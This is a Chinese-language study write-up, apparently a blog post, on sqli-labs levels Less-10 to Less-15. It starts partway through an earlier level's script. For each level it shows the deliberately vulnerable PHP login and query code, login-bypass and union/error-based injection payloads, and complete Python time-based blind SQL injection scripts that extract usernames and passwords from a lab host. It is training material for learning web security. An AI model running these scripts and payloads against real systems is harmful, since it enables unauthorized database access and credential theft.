  154. param = "1' and if(ascii(substr((select "+value2+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
  155. t = time()
  156. response = request.urlopen(url + parse.quote(param))
  157. if (time() - t > 0.1 ):
  158. columns_name2 += chr(a)
  159. break
  160. print(columns_name1+":"+columns_name2)
  161. Name("username","password")

爆破成功

image.png

Less-10 (基于时间的双引号盲注)

和前面的时间盲注一样

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_GET['id']))
  7. {
  8. $id=$_GET['id'];
  9. //logging the connection parameters to a file for analysis.
  10. $fp=fopen('result.txt','a');
  11. fwrite($fp,'ID:'.$id."\n");
  12. fclose($fp);
  13. // connectivity
  14. $id = '"'.$id.'"';
  15. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  16. $result=mysql_query($sql);
  17. $row = mysql_fetch_array($result);
  18. if($row)
  19. {
  20. echo '<font size="5" color="#FFFF00">';
  21. echo 'You are in...........';
  22. echo "<br>";
  23. echo "</font>";
  24. }
  25. else
  26. {
  27. echo '<font size="5" color="#FFFF00">';
  28. echo 'You are in...........';
  29. //print_r(mysql_error());
  30. //echo "You have an error in your SQL syntax";
  31. echo "</br></font>";
  32. echo '<font color= "#0000ff" font size= 3>';
  33. }
  34. }
  35. else { echo "Please input the ID as parameter with numeric value";}
  36. ?>

关键代码审计

  1. # 双引号拼接,且
  2. $sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
  3. # 延时盲注
  4. if true:
  5. 输出('You are in...........')
  6. else:
  7. 输出('You are in...........')

时间盲注

  1. from urllib import request
  2. from urllib import parse
  3. from time import time
  4. url = "http://sqli.pte.com/Less-10/?id=1"+'"'
  5. #1 查数据库
  6. database_length = 0
  7. while True:
  8. param = " and if(length(database())="+str(database_length)+",sleep(0.1),1) #"
  9. t = time()
  10. response = request.urlopen(url + parse.quote(param))
  11. if ( time() - t > 0.1 ):
  12. print("DATABASE_LENGTH:"+str(database_length))
  13. break
  14. else:
  15. database_length += 1
  16. db_name = ""
  17. for l in range(database_length):
  18. for a in range(128):
  19. param = " and if(ascii(substr(database()," + str(l+1) + "))=" + str(a) + ",sleep(0.1),1) #"
  20. t = time()
  21. response = request.urlopen(url + parse.quote(param))
  22. if (time()-t >0.1):
  23. db_name += chr(a)
  24. break
  25. print("[*]:"+db_name)
  26. '''
  27. #尝试二分法扫描
  28. db_name = ""
  29. for l in range(database_length):
  30. a,b = 64,64
  31. while True:
  32. b = int(b/2)
  33. param = " and ascii(substr(database()," + str(l+1) + "))<" + str(a) + "#"
  34. response = request.urlopen(url + parse.quote(param)).read().decode()
  35. if (re.search("You are in",response)):
  36. a -=b
  37. else:
  38. param = " and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"
  39. response = request.urlopen(url + parse.quote(param)).read().decode()
  40. if (re.search("You are in",response)):
  41. db_name += chr(a)
  42. break
  43. else:
  44. a +=b
  45. print("db_name:"+ db_name)
  46. '''
  47. #2 查表数量
  48. table_num = 0
  49. while True:
  50. param = " and if((select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+",sleep(0.1),1) #"
  51. t = time()
  52. response = request.urlopen(url + parse.quote(param))
  53. if (time() - t > 0.1 ):
  54. print("table_num:"+str(table_num))
  55. break
  56. else:
  57. table_num += 1
  58. # 查 表长度
  59. def ta_length(num):
  60. table_length = 0
  61. while True:
  62. param = " and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+",sleep(0.1),1) #"
  63. t = time()
  64. response = request.urlopen(url + parse.quote(param))
  65. if (time() - t > 0.1 ):
  66. return table_length
  67. break
  68. else:
  69. table_length += 1
  70. # 查表
  71. for n in range(table_num):
  72. table_name =""
  73. for l in range(ta_length(n)): # 表的长度
  74. for a in range(0,128): #爆破表
  75. param = " and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
  76. t = time()
  77. response = request.urlopen(url + parse.quote(param))
  78. if (time() - t > 0.1 ):
  79. table_name += chr(a)
  80. break
  81. print("table_name:" + table_name)
  82. # 3 查字段
  83. # 查字段个数
  84. columns_num = 0
  85. while True:
  86. param = " and if((select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+",sleep(0.1),1) #"
  87. t = time()
  88. response = request.urlopen(url + parse.quote(param))
  89. if (time() - t > 0.1):
  90. print("columns_name:"+str(columns_num))
  91. break
  92. else:
  93. columns_num += 1
  94. # 查每个字段的长度
  95. def co_length(num):
  96. columns_length = 0
  97. while True:
  98. param = " and if(length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+",sleep(0.1),1) #"
  99. t = time()
  100. response = request.urlopen(url + parse.quote(param))
  101. if (time() - t > 0.1):
  102. return columns_length
  103. break
  104. else:
  105. columns_length += 1
  106. # 查每个字段的值
  107. for n in range(columns_num):
  108. columns_name =""
  109. for l in range(co_length(n)): # 表的长度
  110. for a in range(0,128): #爆破表
  111. param = " and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
  112. t = time()
  113. response = request.urlopen(url + parse.quote(param))
  114. if (time() - t > 0.1):
  115. columns_name += chr(a)
  116. break
  117. print("table_name:" +columns_name)
  118. # 下载数据
  119. # 查 username
  120. num = 0
  121. while True:
  122. param = " and if((select count(*) from users )= "+str(num)+",sleep(0.1),1)#"
  123. t = time()
  124. response = request.urlopen(url + parse.quote(param)).read().decode()
  125. if (time() - t > 0.1):
  126. print("num:"+str(num))
  127. break
  128. else:
  129. num += 1
  130. def length(num):
  131. user_length = 0
  132. while True:
  133. param = " and if(length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+",sleep(0.1),1) #"
  134. t = time()
  135. response = request.urlopen(url + parse.quote(param)).read().decode()
  136. if (time() - t > 0.1):
  137. #print(user_length)
  138. return user_length
  139. break
  140. else:
  141. user_length += 1
  142. def Name(value1,value2):
  143. for n in range(num):
  144. columns_name1 = columns_name2 = ""
  145. for l in range(length(n)): # 表的长度
  146. for a in range(0,128): #爆破表
  147. param = " and if(ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
  148. t = time()
  149. response = request.urlopen(url + parse.quote(param))
  150. if (time() - t > 0.1 ):
  151. columns_name1 += chr(a)
  152. break
  153. for a in range(0,128): #爆破表
  154. param = " and if(ascii(substr((select "+value2+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
  155. t = time()
  156. response = request.urlopen(url + parse.quote(param))
  157. if (time() - t > 0.1 ):
  158. columns_name2 += chr(a)
  159. break
  160. print(columns_name1+":"+columns_name2)
  161. Name("username","password")

爆破出结果
image.png

Less-11(基于错误的PSOT单引号字符)

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_POST['uname']) && isset($_POST['passwd']))
  7. {
  8. $uname=$_POST['uname'];
  9. $passwd=$_POST['passwd'];
  10. //logging the connection parameters to a file for analysis.
  11. $fp=fopen('result.txt','a');
  12. fwrite($fp,'User Name:'.$uname);
  13. fwrite($fp,'Password:'.$passwd."\n");
  14. fclose($fp);
  15. // connectivity
  16. @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  17. $result=mysql_query($sql);
  18. $row = mysql_fetch_array($result);
  19. if($row)
  20. {
  21. //echo '<font color= "#0000ff">';
  22. echo "<br>";
  23. echo '<font color= "#FFFF00" font size = 4>';
  24. //echo " You Have successfully logged in\n\n " ;
  25. echo '<font size="3" color="#0000ff">';
  26. echo "<br>";
  27. echo 'Your Login name:'. $row['username'];
  28. echo "<br>";
  29. echo 'Your Password:' .$row['password'];
  30. echo "<br>";
  31. echo "</font>";
  32. echo "<br>";
  33. echo "<br>";
  34. echo '<img src="../images/flag.jpg" />';
  35. echo "</font>";
  36. }
  37. else
  38. {
  39. echo '<font color= "#0000ff" font size="3">';
  40. //echo "Try again looser";
  41. print_r(mysql_error());
  42. echo "</br>";
  43. echo "</br>";
  44. echo "</br>";
  45. echo '<img src="../images/slap.jpg" />';
  46. echo "</font>";
  47. }
  48. }
  49. ?>

关键代码审计

  1. # POST 方式接受变量
  2. $uname=$_POST['uname'];
  3. $passwd=$_POST['passwd'];
  4. # 使用单引号拼接 SQL
  5. @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  6. if true:
  7. 输出查询的信息
  8. else:
  9. print_r(mysql_error());

万能密码

  1. # 注释掉 passwd 来登录
  2. uname=admin'--+&passwd=&submit=Submit
  3. uname=admin'#&passwd=&submit=Submit
  4. # 注释后面语句 并 添加一个永真条件
  5. uname=admin&passwd=1' or 1--+&submit=Submit
  6. uname=admin&passwd=1'||1--+&submit=Submit
  7. uname=admin&passwd=1' or 1#&submit=Submit
  8. uname=admin&passwd=1'||1#&submit=Submit
  9. # 闭合后面语句 并 添加一个永真条件
  10. uname=admin&passwd=1'or'1'='1&submit=Submit
  11. uname=admin&passwd=1'||'1'='1&submit=Submit

登录成功
image.png

Union注入

  1. passwd=1'union select 1,(SELECT GROUP_CONCAT(username,password) FROM users) #&Submit=Submit&uname=admin

image.png

报错注入

  1. passwd==1'AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#
  2. &Submit=Submit
  3. &uname=admin

image.png

其实POST注入和GET注入对比下来,注入原理是不变的,变的是位置由GET变成了POST,导致不能直接在url里注入,需要专门的工具burp suite或其他工具更改注入点的参数,达成成功注入。

Less-12(基于错误的双引号POST型字符变形注入)

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_POST['uname']) && isset($_POST['passwd']))
  7. {
  8. $uname=$_POST['uname'];
  9. $passwd=$_POST['passwd'];
  10. //logging the connection parameters to a file for analysis.
  11. $fp=fopen('result.txt','a');
  12. fwrite($fp,'User Name:'.$uname."\n");
  13. fwrite($fp,'Password:'.$passwd."\n");
  14. fclose($fp);
  15. // connectivity
  16. $uname='"'.$uname.'"';
  17. $passwd='"'.$passwd.'"';
  18. @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  19. $result=mysql_query($sql);
  20. $row = mysql_fetch_array($result);
  21. if($row)
  22. {
  23. //echo '<font color= "#0000ff">';
  24. echo "<br>";
  25. echo '<font color= "#FFFF00" font size = 4>';
  26. //echo " You Have successfully logged in " ;
  27. echo '<font size="3" color="#0000ff">';
  28. echo "<br>";
  29. echo 'Your Login name:'. $row['username'];
  30. echo "<br>";
  31. echo 'Your Password:' .$row['password'];
  32. echo "<br>";
  33. echo "</font>";
  34. echo "<br>";
  35. echo "<br>";
  36. echo '<img src="../images/flag.jpg" />';
  37. echo "</font>";
  38. }
  39. else
  40. {
  41. echo '<font color= "#0000ff" font size="3">';
  42. //echo "Try again looser";
  43. print_r(mysql_error());
  44. echo "</br>";
  45. echo "</br>";
  46. echo "</br>";
  47. echo '<img src="../images/slap.jpg" />';
  48. echo "</font>";
  49. }
  50. }
  51. ?>

关键代码审计

  1. # POST 方式接受变量
  2. $uname=$_POST['uname'];
  3. $passwd=$_POST['passwd'];
  4. # 使用双引号括号拼接 SQL
  5. @$sql="SELECT username, password FROM users WHERE username=("$uname") and password=("$passwd") LIMIT 0,1";
  6. if true:
  7. 输出查询的信息
  8. else:
  9. print_r(mysql_error());

万能密码

  1. passwd=123456&Submit=Submit&uname=admin ") --+

image.png

Union注入

  1. passwd=1") union select 1,(SELECT GROUP_CONCAT(username,password) FROM users) #&Submit=Submit&uname=admin

image.png

Less-13(POST单引号变形双注入)

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_POST['uname']) && isset($_POST['passwd']))
  7. {
  8. $uname=$_POST['uname'];
  9. $passwd=$_POST['passwd'];
  10. //logging the connection parameters to a file for analysis.
  11. $fp=fopen('result.txt','a');
  12. fwrite($fp,'User Name:'.$uname."\n");
  13. fwrite($fp,'Password:'.$passwd."\n");
  14. fclose($fp);
  15. // connectivity
  16. @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
  17. $result=mysql_query($sql);
  18. $row = mysql_fetch_array($result);
  19. if($row)
  20. {
  21. //echo '<font color= "#0000ff">';
  22. echo "<br>";
  23. echo '<font color= "#FFFF00" font size = 4>';
  24. //echo " You Have successfully logged in " ;
  25. echo '<font size="3" color="#0000ff">';
  26. echo "<br>";
  27. //echo 'Your Login name:'. $row['username'];
  28. //echo "<br>";
  29. //echo 'Your Password:' .$row['password'];
  30. //echo "<br>";
  31. echo "</font>";
  32. echo "<br>";
  33. echo "<br>";
  34. echo '<img src="../images/flag.jpg" />';
  35. echo "</font>";
  36. }
  37. else
  38. {
  39. echo '<font color= "#0000ff" font size="3">';
  40. //echo "Try again looser";
  41. print_r(mysql_error());
  42. echo "</br>";
  43. echo "</br>";
  44. echo "</br>";
  45. echo '<img src="../images/slap.jpg" />';
  46. echo "</font>";
  47. }
  48. }
  49. ?>

关键代码审计

  1. # POST 方式接受变量
  2. $uname=$_POST['uname'];
  3. $passwd=$_POST['passwd'];
  4. # 使用单引号和括号拼接 SQL
  5. @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
  6. if true:
  7. 无有效输出
  8. else:
  9. print_r(mysql_error());

报错注入

改变偏移量 limit 0,1中的0的值, 就可以查看数据库内username和password的信息了

  1. passwd==1') AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#
  2. &Submit=Submit
  3. &uname=admin

注入成功
image.png

Less-14(POST双引号变形双注入)

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_POST['uname']) && isset($_POST['passwd']))
  7. {
  8. $uname=$_POST['uname'];
  9. $passwd=$_POST['passwd'];
  10. //logging the connection parameters to a file for analysis.
  11. $fp=fopen('result.txt','a');
  12. fwrite($fp,'User Name:'.$uname."\n");
  13. fwrite($fp,'Password:'.$passwd."\n");
  14. fclose($fp);
  15. // connectivity
  16. $uname='"'.$uname.'"';
  17. $passwd='"'.$passwd.'"';
  18. @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
  19. $result=mysql_query($sql);
  20. $row = mysql_fetch_array($result);
  21. if($row)
  22. {
  23. //echo '<font color= "#0000ff">';
  24. echo "<br>";
  25. echo '<font color= "#FFFF00" font size = 4>';
  26. //echo " You Have successfully logged in " ;
  27. echo '<font size="3" color="#0000ff">';
  28. echo "<br>";
  29. //echo 'Your Login name:'. $row['username'];
  30. //echo "<br>";
  31. //echo 'Your Password:' .$row['password'];
  32. //echo "<br>";
  33. echo "</font>";
  34. echo "<br>";
  35. echo "<br>";
  36. echo '<img src="../images/flag.jpg" />';
  37. echo "</font>";
  38. }
  39. else
  40. {
  41. echo '<font color= "#0000ff" font size="3">';
  42. //echo "Try again looser";
  43. print_r(mysql_error());
  44. echo "</br>";
  45. echo "</br>";
  46. echo "</br>";
  47. echo '<img src="../images/slap.jpg" />';
  48. echo "</font>";
  49. }
  50. }
  51. ?>

关键代码审计

  1. # POST 方式接受变量
  2. $uname=$_POST['uname'];
  3. $passwd=$_POST['passwd'];
  4. # 使用双引号拼接 SQL
  5. @$sql="SELECT username, password FROM users WHERE username="$uname" and password="$passwd" LIMIT 0,1";
  6. if true:
  7. 无有效输出
  8. else:
  9. print_r(mysql_error());

报错注入

  1. passwd==1') AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#
  2. &Submit=Submit
  3. &uname=admin

image.png

Less-15(基于bool型/时间延迟单引号POST型盲注)

审计代码

源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. // take the variables
  6. if(isset($_POST['uname']) && isset($_POST['passwd']))
  7. {
  8. $uname=$_POST['uname'];
  9. $passwd=$_POST['passwd'];
  10. //logging the connection parameters to a file for analysis.
  11. $fp=fopen('result.txt','a');
  12. fwrite($fp,'User Name:'.$uname);
  13. fwrite($fp,'Password:'.$passwd."\n");
  14. fclose($fp);
  15. // connectivity
  16. @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  17. $result=mysql_query($sql);
  18. $row = mysql_fetch_array($result);
  19. if($row)
  20. {
  21. //echo '<font color= "#0000ff">';
  22. echo "<br>";
  23. echo '<font color= "#FFFF00" font size = 4>';
  24. //echo " You Have successfully logged in\n\n " ;
  25. echo '<font size="3" color="#0000ff">';
  26. echo "<br>";
  27. //echo 'Your Login name:'. $row['username'];
  28. echo "<br>";
  29. //echo 'Your Password:' .$row['password'];
  30. echo "<br>";
  31. echo "</font>";
  32. echo "<br>";
  33. echo "<br>";
  34. echo '<img src="../images/flag.jpg" />';
  35. echo "</font>";
  36. }
  37. else
  38. {
  39. echo '<font color= "#0000ff" font size="3">';
  40. //echo "Try again looser";
  41. //print_r(mysql_error());
  42. echo "</br>";
  43. echo "</br>";
  44. echo "</br>";
  45. echo '<img src="../images/slap.jpg" />';
  46. echo "</font>";
  47. }
  48. }
  49. ?>

关键代码审计

  1. # POST 方式接受变量
  2. $uname=$_POST['uname'];
  3. $passwd=$_POST['passwd'];
  4. # 使用单引号拼接 SQL
  5. @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  6. if true:
  7. 无有效输出信息
  8. else:
  9. 无有效输出信息

时间盲注

除了sqlmap之外还可以自己编写python脚本

  1. '''
  2. 看一下脚本
  3. - 脚本跑
  4. 理解扫描的方式: 确定数据库的数量,确定数据库的长度,确定数据库
  5. 我们可以通过大于数据库的个数这样就不用去判断数据库的长度,之后长度也可以通过时间报错信息去判断,在加上判断 是否是这个字符 一共需要三层循环就可以解决
  6. 这里有两种方式去判断 ,使用ascii判断 ,或者通过mid 截断去判断。
  7. data = {'uname': "admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
  8. data = {'uname': "admin'and If((mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
  9. data = {'uname': "admin'and If((mid((select column_name from information_schema.columns where table_name='users' limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
  10. data = {'uname': "admin'and If((mid((select username from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
  11. data = {'uname': "admin'and If((mid((select password from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
  12. '''
  13. #coding:utf-8
  14. import requests
  15. from time import time
  16. url = "http://sqli.pte.com/Less-15/"
  17. char = "abcdefghijklmnopqrstuvwxyz_"
  18. print("start!")
  19. for i in range(0,10):
  20. database = ""
  21. for j in range(1,20):
  22. for str in char:
  23. time1 = time()
  24. data = {'uname': "admin'and If((mid((select password from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % (i, j, str), 'passwd': "1"}
  25. res = requests.post(url,data=data)
  26. time2 = time()
  27. if (time2-time1 > 0.1 ):
  28. database += str
  29. #print(database)
  30. break
  31. print("the %d database: "% (i+1))
  32. print(database)
  33. print("end!")

注入成功
image.png

断更!

原因是看了大佬的一篇博客,学习中的笔记如果不是高效的就不必要去记,我陷入了这个误区每次笔记都要想着排版,说明清楚,花费了很大一部分时间去思考。然而该思考的不是怎么记笔记,而是怎么去积累安全经验和基础知识,所以以后的笔记只会记录一些我觉得有价值记录的东西!